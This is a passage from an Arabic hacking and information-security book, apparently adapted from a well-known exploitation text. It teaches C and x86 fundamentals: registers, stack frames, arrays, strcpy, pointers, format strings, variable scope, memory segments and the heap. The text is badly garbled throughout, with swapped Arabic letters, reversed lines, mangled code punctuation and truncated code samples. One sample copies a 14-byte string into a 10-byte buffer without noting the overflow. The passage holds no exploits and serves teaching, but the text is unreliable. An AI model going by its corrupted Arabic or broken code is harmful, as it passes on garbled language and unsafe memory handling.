ال ،EAXكَام ُيمكنُنا َمعر َقة القيمة الفعلية هلذا ال .return value
ECX
نُطلق عليها ” ،“Count register or Counterألهنا تُستَخدَ م يف ال .Looping operations
EDX
ذذه ُيط َلق عليها ،Data registerو ُت َعد امتداد لل EAXأي أهنا تدعمها يف حالة ختزين كمية أكرب من ال dataأثناء
لجراء احلسابات األكثر تعقيد ًا!.
EBX
وأطري ًا ،Base register ..مل ت َُصمم ل َوظيفة ب َعينهاَ ،لكنها تُستَخدَ م كَمساحة لضاقية للتخزين.
Programming
][34
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
كام يظهر بالشكل ،نُطلق عىل عملية لرسال البيانات لليها ب” “Pushوعملية استخراج البيانات منها ب ”.“Pop
ذذا مثال ل َع َملية لجراء ،function callسنَرى َمع ًا دور ُكالً من ال ) ،(ESP and EBPذذه ذي الصيغة ا ُملستَخدَ مة
لعمل callلل functionا ُملسامة ) ( my_pencilsبلغة ال :C
;)int my_pencils (color_one, color_two, color_three
Programming
][35
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
كام أنه دائ ًام،!)Stack الثالث تم وضعه أوالً يف أسفل الArgument (الحظ أن ال،Stack frame وذذا ذو شكل ال
.(Top of Stack) لىل الESP ما تُشري ال
.Stack كي نُشاذد ما َس َيحدُ ث يف الfunction واآلن سنقوم بإضاقة سطر لىل ذذه ال
Programming
[36]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
سنُالحظ ظهور طانة أطرى قوق طانة ال Return addressيف ال ،stackسيكون ِبا ا ُملتغري )(uni_pen_color_one
وسينتقل ال Stack pointerلالشارة لليها ،ألن ُه ُيشري دوم ًا لىل ال "."Top of Stack
EIP
ُيط َلق َعليها Instruction Pointerألهنا تُشري لىل ال Instructionاحلالية التي يقوم ال CPUبقرائتهاُ .يمكن َُك َخت ُّيلها
قرأذا أثناء قرائته ملجلة أو موضو ٍع ما ،كذلك ال processorيستخدم لصبعه
ب َشخص َي َضع لصبعه عىل كُل كَل َمة َي َ
اخلاص وذو ال EIPليقرأ كل َ Instructionجيري تَنفيذ ُه .ذذه من ال registersالتي ستوليها اذتاممك أثناء عملية ال
.Debugging
الرب َجمية..
لىل ُذنا نكون قد أهنينا ذذا الفاصل ..ذيا لنَعود من جديد لنَستكمل األساسيات َ
Programming
][37
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Arrays
.Memory حمددة تتموضع داطل الdata type ذاتn لهنا جمموعة من العنارص عددذا
.“Buffers” أيض ًا ُيط َلق عليها،“Is a list of n elements of a specific data type”
#include <stdio.h>
int main()
{
char str_a[20];
str_a[0] = 'H';
str_a[1] = 'e';
str_a[2] = 'l';
str_a[3] = 'l';
str_a[4] = 'o';
str_a[5] = ',';
str_a[6] = ' ';
str_a[7] = 'w';
str_a[8] = 'o';
str_a[9] = 'r';
str_a[10] = 'l';
str_a[11] = 'd';
str_a[12] = '!';
str_a[13] = '\n';
str_a[14] = 0;
printf (str_a);
}
Programming
[38]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
جيد!..
لدينا مالحظة بسيطة ..لقد ُقمنا بحجز bufferمساحته تتسع ل 20حرف ،أي أنه تم ختصيص 20 bytesلنا .لكننا
مألنا ققط ( )12 bytesمنهم! ،أيض ًا آطر حرف كان (ُ .. )0يطلق عليه ” “null byteو ُيستَخدَ م إلطبار ال functions
التي تتعامل مع ذذه ال arrayبأن تتوقف عن القراءة عند ظهور ذذا ال null byteويتم لمهال باقي ال bufferوكأنه
غري موجود.
فرتض يب أن أكتب كُل حرف ِبذه الطريقة البائ َسة عند َرغ َبتي بإدطال string؟
ولكن ذل ُي َ َ
بالطبع ال! ،سنستخدم Libraryتُسمى string.hوذ َي َستَقوم َلنا َِبذه األعاملَ ،دعنا نَرضب مثال:
سوف نكتُب اجلُ َمل التي نُريد ،ثم نطلب من أحد ال functionsالتي ُط ِّص َ
صت للتعامل مع ال stringsأو ال Arrays
بنسخ ما كتبناه ووضعه داطل ال ،bufferدعنا ن َُج ِّرب ذذه ال functionالرائعة التي ال يستخدمها أحد حالي ًا ،ألن ُه
بذلك ُي َع ِّرض برناجمه هلجوم ال Buffer overflowبكل بساطة! ..لهنا ) ( ..strcpyالحظ أهنا تقوم بالنسخ
كالتايلstrcpy (destination, source) :
Hello,لىل ال bufferا ُملسمى ُ str_aثم طباعته. !world يقوم الكود التايل بنسخ العبارة
>#include <stdio.h
>#include <string.h
{ )(int main
;]char str_a[20
;)"strcpy (str_a, "Hello, world!\n
;)printf (str_a
}
Programming
][39
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
، بالنظام الثنائيmemory قنحن نعني األعداد التي يتم ختزينها يف الnumerical values عندما نتحدث عن ال
: نقوم بتعريف ذذا ا ُملتغري كالتايل.) أي (موجبة ققطUnsigned أو،) أي (موجبة أو سالبةSigned وذي لما أن تكون
Programming
[40]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
: لتقوم بعملية العرض كام ييل%d وذيformat specifier لقد استخدمنا ما يسمى بال
. التي قمنا بإدطاهلا له كام ذو موضحdata types سيقوم ذذا الكود بعرض مساحة ال
reader@hacking:~/booksrc $ gcc datatype_sizes.c
reader@hacking:~/booksrc $ ./a.out
The 'int' data type is 4 bytes
The 'unsigned int' data type is 4 bytes
The 'short int' data type is 2 bytes
The 'long int' data type is 4 bytes
The 'long long int' data type is 8 bytes
The 'float' data type is 4 bytes
The 'char' data type is 1 bytes
reader@hacking:~/booksrc $
Pointers
أثناء َع َمل الربنامج وذلكcurrent instruction ُيشري لىل الpointer ) ذ َي عبارة َعنEIP register( ت ََذكر أن ال
.instruction اخلاص َِبذه الmemory address الحتوائها عىل ال
،functions نَحتاج باستمرار ل َع َمليات النّسخ للبيانات التي َيتم استخدامها بواسطة الmemory أثناء التَعا ُمل َم َع ال
ألنه يتطلب حجز، نستدعيهاfunction لكلmemory وبالتايل قليس م َن احلك َمة تكرار نسخ البيانات داطل ال
َس َيكون األمر.! قبل البدء ب َع َملية النّسخmemory لليها) يف الdata (التي سيتم نسخ الdestination مساحة ال
لنتحرك به بكُل ُح ّرية داطل الpointer بدالً من ذلك ُيمكننا استخدام ال.! ومستهلك ًا هلاmemory ُمهلك ًا لل
.blocks عن طريق اإلشارة لىل عناوين الmemory
We use pointers to point to the address of the beginning of that block of memory.
Pointers are 32 bits in size (4 bytes), and is defining by putting (*) to the variable name.
Programming
[41]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
int main() {
char str_a[20]; // A 20-element character array
char *pointer; // A pointer, meant for a character array
char *pointer2; // another one
strcpy(str_a, "Hello, world!\n");
pointer = str_a; // Set the first pointer to the start of the array.
printf(pointer);
pointer2 = pointer + 2; // Set the second one 2 bytes further in.
printf(pointer2); // Print it.
strcpy(pointer2, "y you guys!\n"); // Copy into that spot.
printf(pointer); // Print again.
}
Programming
[42]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُقمنا بنَسخ ”!َ “Hello, worldو َو َضعناذا داطل ُ ،str_aثم َج َعلنا ُ pointerيشري لليها َبعد أن ُقمنا بتَعريفه قوق عىل أنه
”ُ ،“char pointer points to char arrayثم َجعلنا ُ pointer2يشري لىل ) (pointer + 2bytesبمعنى أنه سيقفز مقدار
حرقني ليتجاذل ،Heوعند استخدام ) ( printfلعرض ذذا ال pointer2سيظهر لنا ”! .“llo, worldثم ُقمنا بنسخ
ُ
حيث ُيشري ال .pointer2ذذا يعني أن ُه َس َيحدُ ث تَعديل يف ذذه ال عباره ُأطرى ذ َي ”! ،“y you guysووضعناذا
Stringبأن سيتم استبدال ”! “llo, worldبالعبارة ”!.“y you guys
Programming
][43
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
“& operator” وباستخدام الHex اخلاص به بصيغة الAddress ماييل مثال ُملتغري نقوم بطباعة ال
int A = 7;
printf("variable A is at address: %08x\n", &A);
الذيaddress “ َبدَ الً من الAddress-of that pointer” َس َيقوم ب َعرض ال،"address-of "بام أن ُه َيقوم ب َعرض ال
.!pointer ُيشري لليه ذذا ال
1 #include <stdio.h>
2
3 int main() {
4 int int_var = 5;
5 int *int_ptr;
6
7 int_ptr = &int_var; // Put the address of int_var into int_ptr.
Programming
[44]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
8 }
(gdb) break 8
Breakpoint 1 at 0x8048361: file addressof.c, line 8.
(gdb) run
Starting program: /home/reader/booksrc/a.out
Breakpoint 1, main () at addressof.c:8
8 }
(gdb) print int_var هنا نطلب عرض قيمة أو محتوى المتغير
$1 = 5
(gdb) print &int_var الذي يحمل هذا المتغير وليس قيمتهblock of memory هنا طلبنا عرض عنوان ال
$2 = (int *) 0xbffff804
(gdb) print int_ptr ) وهو (مكان المتغير الذي يشير إليهpointer هنا طلبنا عرض مايحويه هذا ال
$3 = (int *) 0xbffff804
(gdb) print &int_ptr ! في حد ذاته داخل الميموريpointer وهنا طلبنا عرض مكان هذا ال
$4 = (int **) 0xbffff800
(gdb)
Format Strings
Programming
[45]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
%s String
%n Number of bytes written
أول ثالثة يف اجلدول ُذم format parametersتقوم بعرض ال " "dataبص َيغ ُُمتلفة حسب احلاجة.
توجد أنواع أطرى من ال ُ format stringsيمكننا استخدامها ل َعرض dataوال " "address-of-dataيف نفس
الوقت .يف املثال التايل سنَستَخدم ال ( )%sلطباعة ال stringحتى تَصل لىل ال ُ ،null characterثم نقوم باستخدام
الصي َغة ) (%xلط َ
باعة ال "."address-of that string in the memory
أيض ًا سنستخدم ) (%08xمع ال ” “dereferencing operatorوذو )&( ل َعرض ُ address-ofملتغري نوعه integerيف
آطر سطر يف الكود.
س ُأ ُ
طربك عقب املثال التايل:
Programming
][46
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
#include <stdio.h>
int main() {
char string[10];
int A = -73;
unsigned int B = 31337;
strcpy(string, "sample");
Programming
[47]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُثم ُقمنا يف السطر الثاين ب َعرض ا ُملت َغري Bأيض ًا ب َثالثة ص َيغ ..وتَذكر أن Unsignedال تَعرض ق َيم سالبة!..
نقصد ِباَ ..جيب أال تَقل مساحة ا ُملخرجات عن ..3 bytesولكن يف حالتنا ُذناُ ..
نحن نمتلك ..5 bytesلذ ًا سنقوم
بعمل expandللمساحة ..ألن الرشط حدد لنا احلد األدنى ققط!ُ ..ثم َط َلبنا من ُه لظهار الناتج بحد أدنى يف مساحة
‘ بأنه َو َض َع َلنا َخس َمساقات ُثم ََخسة أرقام!. ُ ،10ذنا سيقوم بملئ باقي املساحة ب spacesكام تالحظ ’31337
يف الطلب الثالث حددنا له %08xبام أننا وضعنا رقم zeroقبل ال 8قنحن نُريد َع َمل paddingبق َيم .. 0ققط َمللئ
لقد َو َض َع َلنا ثالثة أصفار ُثم ال ََخ َسة أرقام لتَكتَمل ال .8 bytes
Programming
][48
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
#include <stdio.h>
#include <string.h>
int main() {
char message[10];
int count, i;
strcpy(message, "Hello, world!");
printf("Repeat how many times? ");
scanf("%d", &count);
for(i=0; i < count; i++)
printf("%3d - %s\n", i, message);
}
بل ستتعامل مع ال،"count" ولكنها لن تتعامل مع ا ُملتغري نفسهdecimal value ستنتظر مناscanf( ) كام ترى قإن
.“address of count in memory”
.“dereferencing operator” َقوق ُثم أدطلناه لليها باستخدام الcount للمتغري
ُ declare وهلذا ُقمنا ب َع َمل
بنا ًء عىل عدد املرات التي َسنَقوم بتَحديدذا بعد ظهورstring ( كي يسمح لنا ب َع َمل تكرار للi) أيض ًا َعرقنا ُمتغري آطر
."Repeat how many times" الرسالة
:ماييل النتائج
reader@hacking:~/booksrc $ gcc -o input input.c
reader@hacking:~/booksrc $ ./input
Repeat how many times? 3
0 - Hello, world!
1 - Hello, world!
2 - Hello, world!
Programming
[49]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
reader@hacking:~/booksrc $ ./input
Repeat how many times? 12
0 - Hello, world!
1 - Hello, world!
2 - Hello, world!
3 - Hello, world!
4 - Hello, world!
5 - Hello, world!
6 - Hello, world!
7 - Hello, world!
8 - Hello, world!
9 - Hello, world!
10 - Hello, world!
11 - Hello, world!
reader@hacking:~/booksrc $
سننتقل اآلن ملفهوم جديد ذو ال،format strings ِبذا أظن أنه قد استقرت يف أذذاننا أساليب استخدام ال
.Typecasting
Typecasting
Programming
[50]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
:لنأطذ مثال
#include <stdio.h>
int main() {
int a, b;
float c, d;
a = 13;
b = 5;
c = a / b; // Divide using integers.
d = (float) a / (float) b; // Divide integers typecast as floats.
:النتائج
reader@hacking:~/booksrc $ gcc typecasting.c
reader@hacking:~/booksrc $ ./a.out
[integers] a = 13 b = 5
[floats] c = 2.000000 d = 2.600000
reader@hacking:~/booksrc $
ذل تعلم ماذا سيكونmod لو طلبنا ال.. واآلن، ققط2 سيكونint كام ترى قإن ناتج القسمة يف حالة استخدام ال
.الناتج ؟
:ً قمثال.. ُحمَد َدةpointers قإنه حيتاج أن تكون ال.. معهcompiler أثناء تَعا ُمل الPointers ُذناك ُمالحظة َختُص ال
“An integer pointer should point to integer data, while a character pointer should only point to
character data”.
.1 byte مساحةchar بينام يشغل ال،4 bytes مساحة قدرذاinteger يشغل ال..وبصورة عامة
Programming
[51]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Size of an int is 4 bytes on most architectures, and the size of a char is 1 byte.
َ َأطذ مثال
:!آطر ُ لن
ذذا ال،pointer لعرض ُحمتويات الprintf( ) ) داطل ال%p( وذو.. جديدformat parameter ستُالحظ استخدام
وذي الصيغة ا ُملناسبة ل َعرض،Hexadecimal ( ب َمعنى أننا نُريد عرض النتائج بال0x%08x) ) ُيشبه متام ًا الصيغة%p(
.memory address ال
#include <stdio.h>
int main() {
int i;
char char_array[5] = {'a', 'b', 'c', 'd', 'e'};
int int_array[5] = {1, 2, 3, 4, 5};
char *char_pointer;
int *int_pointer;
char_pointer = char_array;
int_pointer = int_array;
for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer.
printf("[integer pointer] points to %p, which contains the integer
%d\n", int_pointer, *int_pointer);
int_pointer = int_pointer + 1;
}
for(i=0; i < 5; i++) { // Iterate through the char array with the char_pointer.
printf("[char pointer] points to %p, which contains the char
'%c'\n", char_pointer, *char_pointer);
char_pointer = char_pointer + 1;
}
}
كُل منهم ُيشري لىلtwo pointers ُثم َعرقنا، حتتويان عىل ََخسة َعنارصarrays كام ترى ققد ُقمنا بتَعريف نَو َعني م َن ال
.(char_pointer = char_array;) ا ُملناظرة لهarray ال
Programming
[52]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ثم قمنا بالدطول لىل دالة forلنجعل ال pointerيدور داطلها بدء ًا من الرقم 1حتى الرقم ..5سيقوم بطباعة أمرين:
ُ
حيث أن ال َ pointerس ُيشري لىل عنوان الرقم األول ذو ال ""address of that number in memory
والثاين ذو الرقم ذاته الذي يشري لليه ذلك ال ،pointerوذلك ببساطة ،بأن نستدعي ال pointerأيض ًا لكن
سنضع قبله (*) وكأننا نقول له " َأطرج لنا ما حيويه ذذا ال blockالذي تُشري لليه"!.
وذا ذ َي الصيغة:
;)printf("[integer pointer] points to %d\n", *int_pointer
الحظ أنه بعد أن يبدأ ال pointerب َعرض ال ُ addressثم ب َعرض ُحمتواهَ ،سينتقل لىل instructionالتالية داطل دالة
forوذي:
;int_pointer = int_pointer + 1
تواجد الرقم ..2 أي ُأنه َس َينتقل ل ُيشري لىل ال addressالتايل داطل املصفوقةُ ،
حيث َي َ
Programming
][53
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
:نتائج الكود
reader@hacking:~/booksrc $ gcc pointer_types.c
reader@hacking:~/booksrc $ ./a.out
[integer pointer] points to 0xbffff7f0, which contains the integer 1
[integer pointer] points to 0xbffff7f4, which contains the integer 2
[integer pointer] points to 0xbffff7f8, which contains the integer 3
[integer pointer] points to 0xbffff7fc, which contains the integer 4
[integer pointer] points to 0xbffff800, which contains the integer 5
[char pointer] points to 0xbffff810, which contains the char 'a'
[char pointer] points to 0xbffff811, which contains the char 'b'
[char pointer] points to 0xbffff812, which contains the char 'c'
[char pointer] points to 0xbffff813, which contains the char 'd'
[char pointer] points to 0xbffff814, which contains the char 'e'
reader@hacking:~/booksrc $
Programming
[54]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
نستخدم ذذا النوع من املدطالت يف حالة الربامج التي ال حتتوي عىل GUIحيث ال حتتاج لىل أي Interactionيف
الغالب من ق َبل ال usersبعد أن يبدأ الربنامج بالعمل ،قهي ال تستقبل ال inputsعرب دالة ال ) ( scanfالتقليدية،
ولكن يمكنك لضاقة ال argumentsالتي تود أن يستقبلها الربنامج بأن تقوم بكتابتها بعد لسم الربنامجُ ،
حيث ُيعترب
لسم الربنامج ] argument [0ثم يأيت بعدذا ما تُدط ُل ُه أنت .نستخدم ذذا النوع من املدطالت بشكل ملحوظ يف بيئة
ال DOSو .Linux Terminal
سنقوم بتعريف ال argumentsيف ال ) ( mainألهنا أول ُ Functionيشري لليها ال EIPعند بداية عمل الربنامج،
عترب ك َعداد لتَحديد عدد ال Argumentsا ُملراد لدطاهلا..
املهم ..سنقوم بإضاقة ُ integerي َ
ُثم " ،"pointer to an array of stringsذذه ال arrayستكون ال argumentsذاهتا.
ذذه ذي صيغتها:
)][int main(int argc, char *argv
لنُعطي مثال:
>#include <stdio.h
;int i
;)printf("There were %d arguments provided:\n", arg_count
)for(i=0; i < arg_count; i++
;)]printf("argument #%d\t - \t%s\n", i, arg_list[i
}
Programming
][55
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
قسيستقبل منّا ذذا الكود أي عدد من ال،! ا َملطلوب لدطاهلا ُمسبق ًاarguments يبدو أننا مل ن َُحدِّ د عدد ال
ُ
حيث تعرض ترتيب ال printf( ) ُثم يقوم بطباعته لنا عىل الشاشة باستخدام دالة، نقوم بإدطالهArguments
Variable Scoping
ُيمكن لل.“Global” “ أوLocal” قهي لما.. من َحيث طريقة تعريفهاvariables سنتكلم اآلن عن أنواع ال
ونُطلق،function هلا داطل الdeclare وذي املتغريات التي يتم عمل، أن متتلك املتغريات اخلاصة ِباfunctions
.“Local variables” عليها
Programming
[56]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
void func3() {
int i = 11;
printf("\t\t\t[in func3] i = %d\n", i);
}
void func2() {
int i = 7;
printf("\t\t[in func2] i = %d\n", i);
func3();
printf("\t\t[back in func2] i = %d\n", i);
}
void func1() {
int i = 5;
printf("\t[in func1] i = %d\n", i);
func2();
printf("\t[back in func1] i = %d\n", i);
}
int main() {
int i = 3;
printf("[in main] i = %d\n", i);
func1();
printf("[back in main] i = %d\n", i);
}
ُذنا ال ُبد أن تنتهي،func1 للcall َب َع َملmain( ) ُثم تقوم ال،3 ليقوم بطباعة الرقمmain( ) سيبدأ الربنامج عند ال
func1 ولكن بعد أن قامت ال،! الثالثinstruction استكامل تنفيذ الmain( ) من عملها كي يتسنى للfunc1 ال
Programming
[57]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الحظ أن func1ستنتظر ال func2لىل أن تنتهي من عملها كي تقوم باستكامل تنفيذ السطر الثالث ِبا ،ومن َثم يعود
ال pointerلىل ال ) ( .mainلكن قامت أيض ًا func2بعمل callلل func3يف السطر الثاين..
بعد قيام func3بطباعة قيمة iتوقفت! ..قعاد التسلسل بالرتتيب كام صعد بالرتتيب ،حيث يعود ال pointerلىل ال
func2لتقوم بتنفيذ السطر الثالث ..ثم ينتقل لىل ال func1لتَقوم بطباعة السطر الثالث لدهيا ..ثم ينتقل مر ًة أطرى اىل
يمة ُ iجمدّ د ًا وذو ،3واآلن يبدو أنك قهمت ال ) ( mainلتقوم يف النهاية بتنفيذ ال instructionاالطرية ُ
حيث تَط َبع ق َ
كيف ستكون النتائج!.
الحظ اطتالف قيمة iمن functionألطرى ألنه يتم تعريفها عىل ذيئة local variableلكل functionعىل حده!.
ل ُنلق نظرة عىل النتائج:
reader@hacking:~/booksrc $ gcc scope.c
reader@hacking:~/booksrc $ ./a.out
[in main] i = 3
[in func1] i = 5
[in func2] i = 7
[in func3] i = 11
[back in func2] i = 7
[back in func1] i = 5
[back in main] i = 3
reader@hacking:~/booksrc $
Programming
][58
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
من نوعvariable تُعت ََرب ال..“Global Variables” ذيا بنا لننتقل لىل ال..“Local Variables” لقد َقهمنا ال
.functions طارج مجيع ال،“ لذا تم تعريفها يف بداية الكودglobal”
void func3() {
int i = 11, j = 999; // Here, j is a local variable of func3( ).
printf("\t\t\t[in func3] i = %d, j = %d\n", i, j);
}
void func2() {
int i = 7;
printf("\t\t[in func2] i = %d, j = %d\n", i, j);
printf("\t\t[in func2] setting j = 1337\n");
j = 1337; // Writing to j (this is not local variable!)
func3();
printf("\t\t[back in func2] i = %d, j = %d\n", i, j);
}
void func1() {
int i = 5;
printf("\t[in func1] i = %d, j = %d\n", i, j);
func2();
printf("\t[back in func1] i = %d, j = %d\n", i, j);
}
int main() {
int i = 3;
printf("[in main] i = %d, j = %d\n", i, j);
func1();
printf("[back in main] i = %d, j = %d\n", i, j);
}
Programming
[59]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
تقوم دالة ال printfبطباعة ) (i=3و ) (j=42ألن jتم تعريفها قوق ..قبل أي يشء قهي ،global variableأي أن هلا
موضع يف ال memoryبحيث ُيمكن جلميع ال functionsأن تصل لليه! .بعكس ال ” “local variablesحيث يتم
ختزينها مع حمتويات ال functionاخلاصة ِبا ققط.
ا ُملهم..
ننتقل لىل ال func2حيث تم تعريف ).. (local var iيتم طباعته وطباعة ( ،)j = 42الهنا .global
ُثم حيدُ ث يشء عجيب! .سنقوم بتعديل قيمة ال ( ،)global var jوذلك عندما كتبنا ) (j = 1337بدون أن نَذكُرذا يف
بداية ال func2بصيغة ”.. “int jقهذه صيغة ال .local varsواآلن حدث تعديل يف قيمة ” “jققد أصبحت 1337
بدالً من .42
ال من ( iو ) jعىل أهنم ،local varsققد استخدمنا ُ jذنا داطلي ًا وأعطيناذا قيمة
ننتقل اىل ال func3حيث تم تعريف ك ً
ذي ،999وبالتايل سيقوم ال compilerباستخدام ال jالتي تم تعريفها ك localعن تلك ال globalأثناء تعا ُمله مع
) (ُ ..func3ثم أثناء ال َعو َدة لىل ال ) (َ func2س َيتم التَعا ُمل مع ال ” “jال globalالتي ُقمنا بتَغيري َ
قيمتها لىل 1337قبل
َع َمل ال callلل ) (ُ func3مبارشةًَ ،قنَط َبع قيمة iو ُ jجمدد ًاُ ..ثم تنتهي ال ) ( func2من َع َملها ل َيعود ال
” “instruction pointerلىل ال Caller functionوذي ) ( ..func1وحتديد ًا ،آطر سطر قيها ،يتم تنفيذه ثم العودة لىل
ال ) ( mainمر ًة أطرى ،ألهنا ذي ال callerاألسايس لل ) (.func1
Programming
][60
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
:النتائج
reader@hacking:~/booksrc $ gcc scope2.c
reader@hacking:~/booksrc $ ./a.out
[in main] i = 3, j = 42
[in func1] i = 5, j = 42
[in func2] i = 7, j = 42
[in func2] setting j = 1337
[in func3] i = 11, j = 999
[back in func2] i = 7, j = 1337
[back in func1] i = 5, j = 1337
[back in main] i = 3, j = 1337
reader@hacking:~/booksrc $
Programming
[61]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Memory Segmentation
. وسنتكلم َعن ُه الحق ًا يف الباب الثالث أيض ًا، ُجم َدّ د ًا لتَوضيح َبعض األمورarchitecture سنتكلم عن ذذا ال
Programming
[62]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ماييل شكل يوضح ال Main Memoryوبعض ال Sectionsبداطلها ،سنقوم لنشاءاهلل برشح وظيفة كل منهم.
Programming
][63
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Data
ذذا ذو ُمَ َزن ال Valuesعندما َيتم َع َمل loadللربنامجَ .ذذه ال valuesلما أن تكون Static valuesبمعنى أهنا ال
تتغري أثناء َع َمل الربنامج .أو النوع اآلطر وذو ال Global valuesوذو أهنا قيم متاحة ألي functionداطل
الربنامج.
أي من ذذه األنواع من ا ُملتغريات قد تم عمل initializedهلا بقيمة
لكن ذناك مالحظة صغرية ..نعني بال ” “Dataأن ٍّ
حمددة ،سنقوم بوضعها يف ال" ."Data Sectionأما لذا مل نُعرقها بقيمة ُحمددة قلن يتم وضعها ذنا! ،ستذذب لىل
sectionآطر يسمى ”.“Bss Section
يف احلالة األوىل سيتم ختزين ذذا املتغري يف قسم ال " "Bssألنه ُيعت ََرب .Uninitialized variableأما يف احلالة الثانية
قنحن ُقمنا بإعطائه قيمة ذي ( ،)5قأصبح " ،"initialized varوبالتايل سيتم ختزينه يف قسم ال "."Data
Programming
][64
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Heap
ذذه ال Segmentمهمة جد ًا ،قهي مسؤولة عن ال Dynamic memoryأثناء ال .program executionلهنا تقوم
بعمل allocateلل valuesاجلديدة التي تظهر أثناء عمل الربنامج ،ويف نفس الوقت تقوم أيض ًا بعمل freeأي تفريغ
لل memoryمن القيم التي مل يعد الربنامج بحاجة لليها! ،هلذا يطلق عليها بال " "Dynamic memoryألهنا تزيد
وتنقص بنا ًء عىل املتطلبات.
مثاالً عىل ذلك ا ُملتصفحاتَ ،قه َي تعتمد عىل ذذا املَبدأ ألهنا تستهلك الذاكرة وقق نوع النشاط الذي متارس ُه أنت عىل
االنرتنت ..يوجد نوع من الثغرات ُيسمى ”ُ “Heap Overflowيمكنُك القراءة عنه.
Stack
كُنا قد تكلمنا عنها مسبق ًا ..وكام أرشنا أهنا تتعامل مع ال Local Variablesوال parametersاخلاصة بال
.Functionsستالحظ وجود عالقة بني ال Heapو ال Stackحيث يتموضعان يف نفس املساحة كل م ُنهام يف طرف،
َيزيدان و َين ُقصان وقق ًا للحاجة! ،قربام تزداد ال stackعىل حساب ال ،heapوالعكس صحيح! ،وذذا لتحسني
استغالل ال memoryولتاليف اهلدر يف املساحات قدر املستطاع.
Programming
][65
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ذيا لنَعود من َجديد الستكامل األساسيات الربجمية ..ال تقلق ققد شارقنا عىل االنتهاء من ذذا الباب!.
The Heap
Programming
][66
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
أيض ًا م َن ال َبدهيي وجود ُ Functionمناظرة َهلا لكَي تَقوم بتَفريغ مساحة ال Heapكي ُمتَكن َُك من استخدامها الحق ًا..
ُيط َلق عليها ) (.Free
يف ُل َغة ال َ ،Cيتم تنفيذ ال َقوس الداطيل أوالًُ ،ثم اخلارجيُ ..ذنا ستقوم ال ) ( sizeofبحساب املساحة ا َملطلوبة ُ
حيث
تقوم بالتايل :املساحة املَطلوبة ل One Integerمرضوبة يف ،10بمعنى" :مساحة الستيعاب عرشة أرقام من نوع ."int
ثم تقوم ال ) ( mallocبحجز املساحة داطل ال Heapوتُرجع َلنا ُ pointerيشري لىل عنوان ذذا ال blockداطل ال
،!Heapذذا ال pointerيف مثالنا باألعىل سيكون.*array :
ٍ
مساحة ما يف ال Heapدون االذتامم بال Data typeا ُملراد ذناك مالحظة متعلقة بال ) ( mallocقهي تقوم بحجز
َحجز املساحة ل ُه! ،قتقوم بإرجاع لنا pointerلكن من نوع ..Void
Programming
][67
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
واآلن وبعد َأن َقهمت ال ،void pointerذيا لنقوم بحل ذذا اإلشكال اخلاص بال ) ( .mallocسنقوم بإضاقة ٍ
يشء ما َ َ
للتأكيد عىل نوع ال data typeا َملحجوزة يف ال ..heapببساطة سنقوم ب َع َمل Castingهلذا ال void pointerلىل ال
data typeالتي ن ََود َحجز املساحة هلا!.
يف بعض األحيان تفشل ال ) ( mallocيف حجز املساحة ُربام لك َرب حجم ال bufferاملطلوب أو ألي سبب آطر،
وبالتايل ُيمكننا لضاقة كود بسيط يقوم بعمل Error checkingليتأكد لنا من عملية ال .allocation
;))int * array = malloc(10 * sizeof(int
{ )if (NULL == array
;)"fprintf(stderr, "malloc failed\n
;)return(-1
}
Programming
][68
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
;return 0
}
تغري ،iو pointerاسم ُه ُ ،ptrثم جعلنا ذذا ال ُ pointerيشري لىل ال " ."address-of iثم أردنا طباعة
ُقمنا بتَعريف ُم ّ
حمتويات ذذا ال " "block of memoryالذي ُيشري لليه ال ،pointerوذو الرقم (ُ ،)3ذنا سنضع (*) قبل ال pointer
Programming
][69
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Variable Value in it
num 50
&num 1002
ptr 1002
*ptr 50
Programming
[70]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Void Pointer
ُثم أردنا،(integer, float, and character) :ً لثالثة أنواع من املتغريات مثالdeclare لنفرض أننا قمنا بعمل
..pointers سنقوم حينها بتعريف ثالثة أنواع من ال، ُيشري لىل لليه بنا ًء عىل نوعهpointer ختصيص لكل ُمتغري منهم
" َس ُيو ِّقر َعلينا اجلهد ألننا سنتمكن منvoid pointer" ذذا ال. وحيدpointer يمكنُنا توقري اجلهد واإلكتفاء ب
ُ ولكن
